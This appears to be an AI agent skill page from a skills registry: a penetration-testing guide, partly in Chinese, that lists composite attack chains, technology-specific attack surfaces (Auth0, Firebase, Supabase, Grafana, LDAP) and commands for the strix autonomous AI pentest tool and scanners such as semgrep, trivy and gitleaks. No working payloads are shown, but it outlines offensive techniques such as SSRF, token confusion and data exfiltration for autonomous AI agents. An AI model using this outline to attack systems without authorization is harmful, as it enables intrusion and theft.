references/composite-attack-chains.md— 10 條複合攻擊鏈(CDN→SSRF→K8s、H2 Smuggling→JWT、Proto Pollution→K8s、DNS Rebinding→Cloud、OAuth→XSS→Multitenancy、runc CVE→Cross-Account、SAML XSW→Golden SAML、GraphQL→Lambda、WebSocket→Service Mesh、FIDO2→Zero Trust)+ MCTS 決策框架 + 3 個假想敵入侵策略矩陣../full-stack-vulnerability-research/references/iam-attacks-2015-2025.md— IAM/身份與存取控制攻擊深度研究 (OAuth 2.0, SAML, JWT, OIDC, MFA, Session, Zero Trust Gateway) — 包含完整 Payload、觸發條件、繞過方式、真實 CVE 案例
🔧 strix Autonomous AI Pentest Integration
The autonomous-pentest-scanner skill wraps the open-source usestrix/strix multi-agent AI pentesting tool. It provides autonomous end-to-end scanning with validated PoCs — distinct from manual single-technique execution in this skill.
When to use strix-pentest vs this skill
Use autonomous-pentest-scanner | Use professional-pentest-guide |
| Full autonomous scan of repo / URL / domain | Hand-crafted exploit chain design |
| Need validated PoCs + compliance report from one command | Building custom composite attack chains (MCTS) |
CI/CD gate: -n -m quick --scope-mode diff --diff-base origin/main | Nation-state simulation / composite kill chains |
| White-box: semgrep + AST + secrets + trivy → dynamic validation | Zero-day hunting / fuzzing / exploit development |
Bug bounty automation with budget cap (--max-budget-usd) | Manual technique refinement & novel payload craft |
strix knowledge fused into this skill
The following strix internal skill gaps have been mirrored here:
- Technology-specific attack surfaces (from strix
technologies/):- Auth0: tenant enum, Rules/Actions injection, MFA bypass, token validation (kid/alg confusion), org/role injection
- Firebase/Firestore: rules misconfig (
allow read, write: if true), realtime sync exfil, collection group query bypass, auth webhook abuse, emulator LAN exposure - Supabase: RLS bypass (
USING (true)), auth webhooks, realtimereplicationchannel, PostgREST over-fetch/range abuse, Edge Function prototype pollution, storage signed URL SSRF - Grafana/Prometheus: anonymous access, datasource proxy SSRF, snapshot sharing leak, PromQL injection, remote write exfil, service discovery abuse
- AD app-layer: LDAP injection, constrained delegation via service accounts, Azure AD app registration secrets
- Trivy SCA workflow (from strix
custom/dependency_cve_scanning.md) — full supply-chain scan integrated into pre-flight:trivy fs --scanners vuln,config,secret,license --format json --output trivy-report.json . - Source-aware SAST orchestration (from strix
custom/source_aware_sast.md) — triage before dynamic:semgrep scan --config=p/owasp-top-ten --config=p/secrets --config=p/ci --json=semgrep.json . # derive sg-targets.txt from semgrep scope xargs -a sg-targets.txt -I{} sg run -p 'pattern' {} gitleaks detect --source . --report-format json --report-path gitleaks.json trufflehog filesystem . --json > trufflehog.json trivy fs --scanners config,vuln,secret,license --format json --output trivy-fs.json . # cross-reference HIGH/CRITICAL hits -> prioritize dynamic validation - White-box coordination playbook (from strix
coordination/source_aware_whitebox.md):- Static findings = hypotheses until dynamically validated
- One semgrep + one AST-grep (
sg) + one secrets (gitleaks+trufflehog) + onetrivy fsper repo - Child agents for source-heavy work load
source_aware_sastskill
Quick verification that strix is ready on this machine
source ~/.zshenv && strix --version # → strix 1.3.1
docker info >/dev/null 2>&1 && echo dock # Docker daemon up
printenv strix_LLM # → openrouter/openai/gpt-5.4
docker manifest inspect ghcr.io/usestrix/strix-sandbox:1.1.0 >/dev/null && echo image-ok
strix --help >/dev/null && echo cli-ok
ls ~/Documents/strix-knowledge/strix-skills/ # 11 category dirs + README.mdAll four passing = ready to drive a real scan with --max-budget-usd 1 against an authorized target.
Reference
autonomous-pentest-scannerskill:~/.hermes/profiles/trade/skills/red-teaming/strix-pentest/- strix internal skills cache:
~/Documents/strix-knowledge/strix-skills/(symlinked atstrix-pentest/references/internal-skills/) - strix docs: https://docs.strix.ai
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

